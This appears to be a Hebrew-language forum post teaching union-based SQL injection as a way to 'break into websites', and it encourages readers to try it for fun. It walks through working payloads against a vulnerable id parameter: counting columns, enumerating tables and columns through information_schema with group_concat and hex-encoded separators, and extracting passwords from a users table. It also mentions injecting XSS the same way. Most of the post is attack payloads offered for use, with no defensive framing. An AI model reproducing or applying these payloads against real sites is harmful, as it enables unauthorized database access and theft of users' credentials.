שלום היום אני הולך ללמד אתכם SQL INJECTION
זה אומר ליפרוץ לאתרים קודם צריך לילמוד SQL
אבל מי שרוצה שינסה לכיף..
אוקי למדריך..:
נגיד מצאנו דף באתר www.index.php?id=1
אנו נזריק שיאלתה שתחשוף לנו תטבלות
השיאלתה:index.php?id=1 group by 5
למה בחרתי ב5? כי אפשר ליראות לפי גודל האתר
אים יש הרבה דפים אז זה בערך 15
נגיד ומצאנו 5
ותהיה שגיאה דומה לכל השגיאות שהיו
אז זה אומר שיש 5 טבלאות
אחרי שהבנו שיש 5
אנו נזריק תשיאלתה הזאת:
union al select 1,2,3,4,5
יכול להיות שבאתר יש תתוים %
שהם חוסמים אז נוסיף +
union+all+select+1,2,3,4,5
עכשיו נישתמש בתכונה הזאת information_schema
שמוציאה תשמות של הטבלאות
+union+all+select+1,2,table_name,4,5+from+information_schema.tables
נשתמש ב LIMIT כדי לקבוע מאיזה תור אנחנו רוצים לשלוף את המידע לדוגמא:
+union+all+select+1,2,table_name,4,5+from+information_schema.tables limit 1,1
1,2
1,3
נישתמש בפקודה group_concat :
+union+all+select+1,2,group_concat(table_name),4,5+from+information_schema.table s
שאילתא זו תשלוף לנו את כל הטבלאות מהמסד בהפרדת פסיק האחת מהשנייה לדוגמא:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_P RIVILEGES
אפשר להסתפק בתצוגה כזאת אבל אנחנו אנשים עם סגנון ונרצה שזה יוצג לנו בצורה נוחה ולכן נשתמש באפשרות המיוחדת של group_concat והיא שילוב של כמה ערכים ביחד לדוגמא נרצה שאחרי כל טבלה תהיה ירידת שורה והטבלאות יוצגו לנו ברשימה אז פשוט נחבר את התצוגה של table_name עם התגית br של HTML אבל קודם כל נמיר את התגית להקסה וזה יראה כך :
0x3c62723e = <br>
ונשלב את זה בתוך השאילתא שלנו כך :
+union+all+select+1,2,group_concat(table_name, 0x3c62723e),4,5+from+information_schema.tables
כמו כן אפשר לעשות איזה שימוש שנרצה בפונקציה על מנת להכניס איזה ערך שנרצה אפילו XSS אם באלכם.
עכשיו יש לנו את הטבלאות במסד ולמדנו כיצד לשלב hex בשאילתות שלנו והשלב הבא שנשאר הוא מציאת התורים בטבלה שמעניינת אותנו. בשביל הדוגמא נגיד שקוראים לטבלה users
+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+tabl e_name='users'
גילנו שברגע שהגדרנו limit 6 מתקבלת הטבלה users(דבר שבמציאות לא הגיוני כי לרוב 10-12 הטבלאות הראשונות הן טבלאות מערכת)
לאחר שמצאנו את מספר העמודה של הטבלה בה אנחנו מעוניינים נשלוף את התוכן שלה כך :
+union+all+select+1,2,column_name,4,5+from+information_schema.columns+where+tabl e_name=(select+table_name+from+information.tables+limit+6,1)
מה שעשיתי פה הוא לספק לשאילתא את שם הטבלה בה אנחנו מעוניינים ע"י שליפת שם הטבלה מהמסד ובכך אני נמנע משימוש באחד מהתווים ' או " ושוב מה שנשאר לנו זה לשחק עם ה LIMIT עד שנשלוף את כל התורים מהטבלה אבל כמו שכבר אמרתי אנחנו עצלנים ולכן נעשה את זה ע"י שימוש בפונקציה group_concat רק שהפעם זה יראה כך
union+all+select+1,2,group_concat(column_name,0x3c62723e),4,5+from+information_s chema.columns+where+table_name=(select+table_name+from+information.tables+limit+ 6,1) שאילתא זו תתן לנו את כל התורים בטבלה בה אנחנו מעוניינים במקרה שלנו קוראים לטבלה users ומצאנו שהיא ממוקמת השישית בטבלה tables הנמצאת במסד informtaion_schema תוצאה שתמשמש דוגמא לתוכן שמתקבל מהשאילתא תהיה קצת בעייתית כי זה תלוי ביוצר הטבלה במסד אבל אני מאמין שזה יראה בערך ככה
id
,user_name
,password
שיאלתה זאת תחשוף את המישתמש סיסמה ואימל
+union+all+select+1,2,password,4,5+from+users+where+id=1
באותה מידה יכלתי לכתוב
+union+all+select+1,2,password,4,5+from+users+limit+1,1
עכשיו נחשוף את הסיסמה ואת המישתמש ואת האימל..
קרדיט לי ולפורום אחר
עשיתי גם מה שאני יודע וגם מה שהוא יודע..



ציטוט ההודעה
